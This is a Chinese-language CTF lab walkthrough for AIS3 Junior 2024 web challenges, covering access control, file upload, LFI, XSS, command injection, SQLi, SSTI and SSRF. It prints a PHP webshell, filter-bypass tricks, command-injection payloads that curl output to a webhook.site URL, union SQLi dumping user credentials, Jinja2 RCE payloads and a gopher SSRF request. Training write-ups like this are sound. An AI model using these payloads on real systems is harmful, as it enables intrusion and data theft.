AIS3 Junior 2024 - Web Security Walkthrough

題解的最多 writeup寫得最累
alt text

01 - Broken Access Control

  • BAC01
    1. 測試正常輸入
      image
      關鍵字 user permission
      path /user
    2. 資訊蒐集,cookie、封包heaer、頁原原始碼… => 無線索
    3. 試著往簡單的方向想 => 回想 1. => 有 user permission、path… 那應該有 ==admin== permission、path ?!
    4. 測試path /admin
      image
  • BAC02
    1. 注意到Admin Panel => 很顯然這是目標
      image
      比起上題,多了 Product List => 可能有線索
    2. 檢查 Product List 頁面原始碼
      image
      少了goToProductPage(4) ?
    3. 嘗試到ProductPage(4)
      隨便點進一個
      image
      改成 /product/4
      image
      點 Buy
      image
  • BAC03
    1. 做基本資訊蒐集
      檢查頁面原始碼、cookie、封包header、正常輸入… => 無線索 => 跟第一題好像
    2. 試 /admin => 沒像第一題到 /admin 而是 /error
      image
      中間發生什麼?
    3. 開burp suite重複同樣操作
      image
      image
      一樣
      image
      中間有 /admin !
      image
    4. 查看 /admin
      image

02 - File Upload

  • FIL01
    1. 寫最簡單又不會被windows當作惡意檔案刪掉的 websell
      1
      2
      3
      4
      <?php
      $a=$_GET['cmd'];
      system($a.'; echo meow');
      ?>
    2. 選擇 websell.php
      image
      再上傳
      image
    3. 上傳成功
      image
      image
      不確有沒有上傳成功 => 加參數
      image
      RCE !
      image
      image
  • FIL02
    1. 上傳上題的websell => 有 waf
      image
    2. 在 burp suite 上傳,攔截封包
      image
      送到 reapeter
      image
      image
    3. 修改封包
      • bypass filename
        猜測要有png
        php 放後面使檔案可被當php執行
        改成 image

      • bypass Content-Type
        改成像正常圖片
        image

    4. 送出修改後封包
      image
      image
      image
      RCE !
      image
  • FIL03
    1. 在 burp suite 做跟上一題同樣步驟 => 上傳失敗
    2. bypass file header
      在 burp suite 上傳一張正常的圖片,攔截封包
      image
      保留圖片頭尾,在中間塞webshell
      image
      image
      上傳失敗
      image
    3. bypass filename
      猜測可能不能出現php,png被允許
      改成 png.phar
      因為phar 相當於php
      image
      image
      image

03 - Local File Inclusion

  • LFI01
    1. 瀏覽網頁看到圖片
      image
    2. 猜測static/bitcoinCat.jpg會被include
      image
      嘗試include index.php
      image
    3. base64 decode 看 index.php source code
      image
      image
    4. 嘗試登入
      image
      image
  • LFI02
    1. 看到上傳功能,嘗試上傳沒有bypass waf 的websell
      image
      image
    2. 猜測是要include剛上傳的websell
      看到上傳頁面有
      image
      猜測 form.html 會被 include
      image
      RCE !
      image
  • LFI03
    1. 跟LFI01一樣有圖片,做一樣的嘗試
      image
      image
      但不成功
      image
    2. 回登入頁面檢視網頁原始碼
      image
      image
    3. 第三題,總該RCE了吧?
      githubg上有現成的超長RCE payload
      image
      複製雙引號內的內容
      image
      貼上
      image
      RCE !
      image

04 - Cross-Site Scripting

  • XSS01
    1. 從網也原始碼得知要alert const FLAG
      image
    2. 發現會輸出URL參數
      image
    3. XSS
      image
      image

05 - Command Injection

  • CMD01
    1. 測試正常的輸入
      image
      image

    2. 做最簡單的cmd injection
      image
      image
      RCE !
      image

      image

  • CMD02
    1. 嘗試跟上一題一樣的
      image
      image
      單獨測試空格、分號、ls => 會過濾 ls
    2. bypass 特定指令
      在指令中間塞 \ 仍可執行
      image
      image
      RCE !
      image
      image
  • CMD03
    1. 嘗試
      image
      image
      單獨測試空格、分號、ls => 會過濾空格、分號
    2. bypass 分號
      利用 “$()”
      image
      image
      RCE !
    3. bypass 空格
      用 ${IFS} 代替空格
      image
      image
  • CMD04
    1. 測試正常輸入
      image
      image
      只會回傳有沒有執行成功 => 試圖將執行結果往外傳
    2. 測試黑名單
      單獨測試空格、分號、ls、$、雙引號
      => 過濾空格、分號、ls
    3. 開 webhook.site 準備接收封包
      image
    4. 利用 curl 將結果送到 webkook ,並bypass 分號、空格
      image
      1
      8.8.8.8"$(cu\rl${IFS}https://webhook.site/d53be48c-03c9-4b61-bb18-63d3ce9afffd${IFS}--data${IFS}"$(l\s)")"
      image
      image
      image
      RCE !
    5. 取得flag
      1
      8.8.8.8"$(cu\rl${IFS}https://webhook.site/d53be48c-03c9-4b61-bb18-63d3ce9afffd${IFS}--data${IFS}"$(c\at${IFS}ERRORCMDi_FLAG)")"
      image
  • CMD05
    1. 用上一題payload試
      image
      1
      8.8.8.8"$(cu\rl${IFS}https://webhook.site/d53be48c-03c9-4b61-bb18-63d3ce9afffd${IFS}--data${IFS}"$(l\s)")"
      image
      RCE !
    2. 取得flag
      1
      8.8.8.8"$(cu\rl${IFS}https://webhook.site/d53be48c-03c9-4b61-bb18-63d3ce9afffd${IFS}--data${IFS}"$(c\at${IFS}BLindCMDiFLAG)")"
      image
  • [Bonus] CMD06
    1. 檢查黑名單
      單獨輸入空白、$()、``、””、ls
      => 過濾 空白、””、ls
    2. bypass “”
      嘗試用``代替”$()”發現好像只能輸出一行
      image
      image
      輸出一行那輸出flag好像也夠了?flag的檔名先猜個 F*
      image
      image

06 - SQL Injection

  • SQL01
    1. 帳號填 admin’ or 1=1 的變化多試幾個,密碼隨意填
    2. 試出來了
      image
      image
  • SQL02
    對 因為要當好駭客 不當腳本小子 我要來手戳
    1. 確定可以SQLi
      image
      image
    2. union base
      image
      1
      a' union select schema_name from `information_schema`.`schemata` -- -
      image
    3. 試幾個欄位
      1
      2
      3
      4
      a' union select 1, schema_name from `information_schema`.`schemata` -- -
      1222 (21000): The used SELECT statements have a different number of columns
      a' union select 1, 2, schema_name from `information_schema`.`schemata` -- -
      1222 (21000): The used SELECT statements have a different number of columns
    4. 取得 DB name
      image
      1
      a' union select 1, 2, 3, schema_name from `information_schema`.`schemata` -- -
      image
      應該在 ApexPredators DB 找ApexPredators DataCenter Portal 的管理者帳密
    5. 取得table name
      1
      a' union select 1, 2, 3, table_name from `information_schema`.`tables`  where table_schema='ApexPredators' -- -
      image
    6. 取得 column name
      1
      a' union select 1, 2, 3, column_name from `information_schema`.`columns`  where table_name='users' -- -
      image
    7. 取得 data
      1
      a' union select 1, username, password, isAdmin from `ApexPredators`.`users`   -- -
      image
      找到admin
    8. 登入admin
      image
      image
  • SQL03
    1. 嘗試黑名單 => 過濾 空格、– -
    2. bypass 空格 => 空格一律用/**/代替
    3. bypass – - => 註解用 # 代替
    4. 跟上題一樣登入步驟
      1
      a'/**/union/**/select/**/1,/**/2,/**/3,/**/schema_name/**/from/**/`information_schema`.`schemata`/**/#
      1
      a'/**/union/**/select/**/1,/**/2,/**/3,/**/table_name/**/from/**/`information_schema`.`tables`/**/where/**/table_schema='ApexPredators'/**/#
      1
      a'/**/union/**/select/**/1,/**/2,/**/3,/**/column_name/**/from/**/`information_schema`.`columns`/**/where/**/table_name='users'/**/#
      1
      a'/**/union/**/select/**/1,/**/username,/**/password,/**/isAdmin/**/from/**/`ApexPredators`.`users`/**/#
      image
    5. 登入admin
      image

07 - Server-Side Template Injection

  • STI01

    1. 確認模板
      image
      => 可以猜 Jinja2 (Python)
    2. 用hacktricks的payload
      1
      {{ cycler.__init__.__globals__.os.popen('id').read() }}
      image
      image
      RCE !
      image
  • STI02

    1. 嘗試貼上題的payload

    2. RCE !
      image

    3. 取得flag
      image

  • STI03

    1. 檢查黑名單 => 過濾 {{ }}[]
    2. 用hacktricks的payload
      1
      {%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()%}{%print(a)%}{%endwith%}
      image
      RCE !
      1
      {%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat FLAG')|attr('read')()%}{%print(a)%}{%endwith%}
      image

08 - Server-Side Request Forgery

  • SRF01
    1. 用 file:// 讀取 /app/FLAG
      image
    2. 看圖片原始碼
      image
    3. base64 decode
      image
  • SRF02
    1. 注意到 ADMIN PANEL 在 /local
    2. 嘗試最基本payload
      image
      image
    3. base64 decode
      image
  • SRF03
    1. 測試黑名單 => 過濾 localhost、127.0.0.1
    2. bypass
      將127.0.0.1轉成十六進制
      image
      image
    3. base64 decode
      image
  • SRF04
    1. 測試黑名單 => localhost、127.0.0.1
      • bypass => gopher://0
    2. 製作gopher POST封包
      1
      2
      3
      4
      5
      6
      7
      gopher://0:80_
      POST%20/local%20HTTP/1.1%0D%0A
      Host:%20127.0.0.1%0D%0A
      Content-Type:%20application/x-www-form-urlencoded%0d%0A
      Content-Length:%2032%0d%0A
      %0D%0A
      username=admin&password=password
      =>
      1
      gopher://0:80/_POST%20/local%20HTTP/1.1%0D%0AHost:127.0.0.1%0D%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2032%0d%0A%0D%0Ausername=admin&password=password
    3. 送出封包
      image
      image
      image